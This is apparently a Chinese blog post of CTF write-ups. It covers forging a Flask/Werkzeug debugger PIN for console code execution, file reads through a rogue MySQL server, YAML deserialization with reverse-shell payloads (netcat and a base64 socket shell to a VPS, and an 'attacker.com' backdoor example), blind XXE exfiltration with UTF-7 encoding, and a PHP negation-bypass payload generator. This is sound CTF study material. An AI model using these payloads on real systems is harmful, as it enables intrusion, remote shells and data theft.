?ctf 好像什么都能读（复现#

PIN码#

Flask 的 debug 模式会提供一个强大的交互式调试器，这个调试器本质上可以在服务器上执行任意代码。

为了防止未授权用户滥用调试器，werkzeug 会生成一个 PIN 码。首次访问调试页面时，需要输入这个 PIN码才能解锁调试功能。

参考博客

新版flask pin码计算-先知社区

新版flask的pin码计算 - m1xian - 博客园

pin码主要由六个参数构成：

probably_public_bits 公钥部分

1.username：执行代码时的用户名,读/etc/passwd这个文件

2.appname：固定值，默认是 Flask

3.modname：固定值，默认是 flask.app

4.moddir： app.py 文件所在路径，一般可以通过查看debug报错信息获得

private_bits 私钥部分：#

1.uuid：通过读取 /sys/class/net/eth0/address 获取，一般得到的是一串十六进制数，将其中的横杠去掉然后转成十进制

2.machine_id：首先读取 /etc/machine-id ，如果有值则不读取取/proc/sys/kernel/random/boot_id ，否则读取该文件。接着读取 /proc/self/cgroup ，取第一行的/ 后面的所有字符串，与上面读到的值拼接起来，最后得到 machine_id

脚本如下：

1
import hashlib
2
from itertools import chain
3

4
# 可能是公开的信息部分
5
probably_public_bits = [
6
    'ctf',  # /etc/passwd
7
    'flask.app',  # 默认值
8
    'Flask',  # 默认值
9
    '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py'  # moddir，报错得到
10
]
11

12
# 私有信息部分
13
private_bits = [
14
    '235821916857788',  # /sys/class/net/eth0/address 十进制
15
    '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
16
    # machine-id部分
17
]
18

19
# 创建哈希对象
20
h = hashlib.sha1()
21

22
# 迭代可能公开和私有的信息进行哈希计算
23
for bit in chain(probably_public_bits, private_bits):
24
    if not bit:
25
        continue
26
    if isinstance(bit, str):
27
        bit = bit.encode('utf-8')
28
    h.update(bit)
29

30
# 加盐处理
31
h.update(b'cookiesalt')
32

33
# 生成 cookie 名称
34
cookie_name = '__wzd' + h.hexdigest()[:20]
35
print(cookie_name)
36

37
# 生成 pin 码
38
num = None
39
if num is None:
40
    h.update(b'pinsalt')
41
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
42

43
# 格式化 pin 码
44
rv = None
45
if rv is None:
46
    for group_size in 5, 4, 3:
47
        if len(num) % group_size == 0:
48
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
49
                          for x in range(0, len(num), group_size))
50
            break
51
    else:
52
        rv = num

1
/etc/passwd

报错得到绝对位置，同时得到secret

1
/sys/class/net/eth0/address

将得到的数字去掉冒号后化为十进制

1
/proc/sys/kernel/random/boot_id

得到machine-id

获取cookie：#

1
GET /console?__debugger__=yes&cmd=pinauth&pin=699-028-928&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
4
Accept: */*
5
Referer: http://challenge.ilovectf.cn:30100/
6
Accept-Encoding: gzip, deflate, br
7
Accept-Language: zh-CN,zh;q=0.9
8
Connection: close

接着构造执行指令：#

1
GET /console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=MPzwdNt9TXDCxvbOjj4D HTTP/1.1
2
Host: 127.0.0.1
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
4
Accept: */*
5
Referer: http://challenge.ilovectf.cn:30100/
6
Accept-Encoding: gzip, deflate, br
7
Accept-Language: zh-CN,zh;q=0.9
8
Upgrade-Insecure-Requests: 1
9
Content-Length: 0
10
Connection: keep alive
11
Cookie: __wzd107814efcb0578d5dd6c=1764312795|27de6bf38216; HttpOnly; Path=/; SameSite=Strict

?CTF复现 mysql管理工具#

利用了老版本mysql的漏洞获取读取文件的权限

18.MYSQL任意文件读取 · Aaron 知识库

也有现成执行文件

https://github.com/allyshka/Rogue-MySql-Server（看文件就知道是老东西了

题解#

先说这道题吧

先是一个登录页面，听名字以为是sql注入，但是测试没有发现注入点，看源码发现是弱口令，藏在源码里

抓包看看，猜测是拟造cookie密钥

这格式就很jwt

爆破一下key

然后就可以拟写jwt了

失败了，看了wp后才知道这道题要用到上面那个东西，伪造一个服务端，接收命令，不知道为什么，python脚本用不了，最后我是用项目中的linux版本运行的

放到vps上，然后配置文件

如图

host接收所有IP，开放3309端口，然后查看源码，需要配置的基本就这些

可以看到已经读到源码了，cat一下

源码审计……看不出什么，喂给ai

1
@app.route('/uneed1t', methods=['GET'])
2
def uneed1t():
3
    data = request.args.get('data', '')
4
    if data == '':
5
        return jsonify({"result": "null"})
6
    try:
7

8
        black_list = [
9
            "system", "popen", "run", "os"
10
        ]
11

12
        for forb in black_list:
13
            if forb in data:
14
                return jsonify({"result":"error"})
15

16
        yaml.load(data, Loader=yaml.Loader)
17

18
        return jsonify({"result": "ok"})
19
    except Exception as e:
20
        return jsonify({"result":"error"})

ai说这一段存在yaml反序列化，但是有黑名单，采用在vps上弹shell的方式

#任意⽂件读的利⽤

1
!!python/object/apply:subprocess.Popen- ["sh","-c","cat /f* >1.txt"]

#弹shell 可以起socket去打

1
!!python/object/apply:subprocess.Popen- ["python", "-c", "import  base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"' ';exp=base64.b64decode(base64exp).decode();exec(exp)"]

1
!!python/object/apply:subprocess.call [['/bin/busybox','nc','vps的ip地 址','nc监听端⼝','-e','/bin/sh']]

首先要在vps上安装nc，然后要确保你选择的端口开放了，就可以执行命令了

关于yaml反序列化#

1. 代码层面的识别标志#

关键函数调用#

python

1
# 危险的使用方式
2
yaml.load(data)                    # 默认使用不安全的 Loader
3
yaml.load(data, Loader=yaml.Loader) # 显式使用不安全的 Loader
4

5
# 安全的使用方式
6
yaml.safe_load(data)              # 安全
7
yaml.load(data, Loader=yaml.SafeLoader) # 安全

用户输入直接传递给 yaml.load()#

python

1
# 危险模式 - 用户可控输入直接反序列化
2
data = request.args.get('data')    # 来自用户输入
3
data = request.json['data']        # 来自用户输入
4
yaml.load(data)                    # 直接反序列化

2. YAML 反序列化的特殊语法特征#

Python 对象构造标记#

yaml

1
# !!python/object 创建 Python 对象
2
!!python/object:os.system
3
!!python/object:subprocess.Popen
4

5
# !!python/object/apply 调用函数
6
!!python/object/apply:os.system
7
- "whoami"
8

9
# !!python/object/new 创建新实例
10
!!python/object/new:os.system

特殊标签前缀#

yaml

1
!!python/object:module.classname    # Python 对象
2
!!python/name:module.function       # Python 名称
3
!!python/module:package.module      # Python 模块
4
!!python/attr:object.attribute      # Python 属性

3. 攻击载荷的常见模式#

命令执行载荷#

yaml

1
# 直接系统命令
2
!!python/object/apply:os.system ["id"]
3

4
# 使用 subprocess
5
!!python/object/apply:subprocess.Popen
6
- ["cat", "/etc/passwd"]
7

8
# 链式调用
9
!!python/object/apply:__import__ ["os"]
10
args: ["system"]
11
- ["whoami"]

文件操作载荷#

yaml

1
# 读取文件
2
!!python/object/apply:open
3
- ["/etc/passwd", "r"]
4

5
# 写入文件
6
!!python/object/apply:open
7
- ["/tmp/backdoor.py", "w"]
8
- ["__import__('os').system('nc -e /bin/sh attacker.com 4444')"]

4. 漏洞存在的上下文环境#

危险的使用场景#

python

1
# 场景1: 配置加载
2
config = yaml.load(user_provided_config)
3

4
# 场景2: 数据交换
5
data = yaml.load(request.data)
6

7
# 场景3: 缓存反序列化
8
cached_data = yaml.load(redis.get('user_data'))
9

10
# 场景4: API 参数处理
11
@app.route('/load')
12
def load_data():
13
    data = request.args.get('yaml_data')
14
    return yaml.load(data)  # 危险!

5. 识别技巧总结#

代码审计时关注：#

导入语句: import yaml 或 from yaml import load
函数调用: 查找 yaml.load() 调用
参数来源: 检查参数是否来自用户输入
Loader 类型: 确认是否使用不安全的 Loader

先粗略的了解一下，以后系统性的学习

查查忆（复现#

看源码提示

1
<!--flag in /f1111llllaa44g-->

这是一道xml但是过滤了伪协议关键字与<!ENTITY，而且还无回显，无回显的话用vps外带，过滤用utf-7编码绕过

1.xml内容，这里我在1.dtd当前目录起了一个pyhton服务器，因为dtd必须要能公网访问到，然后vps监听5000端口

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE a [
3
<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">
4
%dtd;%code;%send;
5
]>

1.dtd的内容，使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器,（==1.dtd内部的%号要进行实体编码成&#x25==。这里卡我半天，因为wp这里错了）

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
2
<!ENTITY % code "<!ENTITY &#x25; send SYSTEM 'http://81.71.18.95:11111/%file;'>">

用cyberchef将xml文件编写一下，变成UTF-7进行绕过

1
<?xml version="1.0" encoding="UTF-7"?>
2
+ADw-+ACE-DOCTYPE+ACA-a+ACA-+AFs-+AA0-+AAo-+ADw-+ACE-ENTITY+ACA-+ACU-+ACA-dtd+ACA-SYSTEM+ACA-+ACI-http://81.71.18.95/1.dtd+ACI-+AD4-+AA0-+AAo-+ACU-dtd+ADs-+ACU-code+ADs-+ACU-send+ADs-+AA0-+AAo-+AF0-+AD4-

先起一个http接收端在1.dtd所在的目录

然后监听dtd文件中所用的执行端口（我这里是11111端口，这里需要保证接收端口和执行端口都开放

然后就能获取到flag，解码一下就行了

ezphp(复现#

1
<?php
2
error_reporting(0);
3
highlight_file(__FILE__);
4
$code = $_GET['c1n_y0.u g3t+fl&g?'];
5
if(preg_match("/[A-Za-z0-9]+/",$code)){
6
    die("hacker!");
7
}
8
if(strlen($code)>14){
9
    die("is tooooooooooooooooooo long!");
10
}
11
echo "Flag is in flag.php~~ (local).";
12
@eval($code);
13
?> Flag is in flag.php~~ (local).

第一步，不合法参数名，用[代替_,再url编码

1
?c1n[y0.u%20g3t%2Bfl%26g%3F

之后取反绕过，附上一个用的脚本

1
#!/usr/bin/env python3
2
import sys
3

4

5
def generate_negation_payload(input_str):
6
    """生成PHP取反Payload"""
7
    negated_bytes = []
8
    for char in input_str:
9
        negated = (~ord(char)) & 0xFF
10
        negated_bytes.append(negated)
11

12
    urlencoded = ''.join(['%' + format(byte, '02X') for byte in negated_bytes])
13
    param_payload = f'$_=~{urlencoded};`$_`;'
14

15
    return urlencoded, param_payload
16

17

18
def main():
19
    print("PHP取反Payload生成器 (Ctrl+C 或输入 exit 退出)")
20
    print("-" * 50)
21

22
    while True:
23
        try:
24
            # 获取输入
25
            user_input = input("\n请输入需要取反的字符串 (例如: ls /): ").strip()
26

27
            if not user_input:
28
                continue
29

30
            if user_input.lower() in ['exit', 'quit', 'q']:
31
                print("退出程序")
32
                break
33

34
            # 生成结果
35
            urlencoded, param_payload = generate_negation_payload(user_input)
36

37
            # 输出
38
            print(f"取反后的URL编码: {urlencoded}")
39
            print(f"传参用Payload (浏览器自动解码):")
40
            print(f"{param_payload}")
41

42
        except KeyboardInterrupt:
43
            print("\n\n程序已终止")
44
            break
45
        except Exception as e:
46
            print(f"错误: {e}")
47

48

49
if __name__ == "__main__":
50
    main()

1
$_=~%C1%9C%9E%8B;`$_`;
2
$_=~%D5%DF%C1%C2;`$_`;

然后访问/=就可以获得日志

晓堃の博客

?ctf 好像什么都能读（复现#

PIN码#

private_bits 私钥部分：#

获取cookie：#

接着构造执行指令：#

?CTF复现 mysql管理工具#

题解#

关于yaml反序列化#

1. 代码层面的识别标志#

关键函数调用#

用户输入直接传递给 yaml.load()#

2. YAML 反序列化的特殊语法特征#

Python 对象构造标记#

特殊标签前缀#

3. 攻击载荷的常见模式#

命令执行载荷#

文件操作载荷#

4. 漏洞存在的上下文环境#

危险的使用场景#

5. 识别技巧总结#

代码审计时关注：#

查查忆（复现#

ezphp(复现#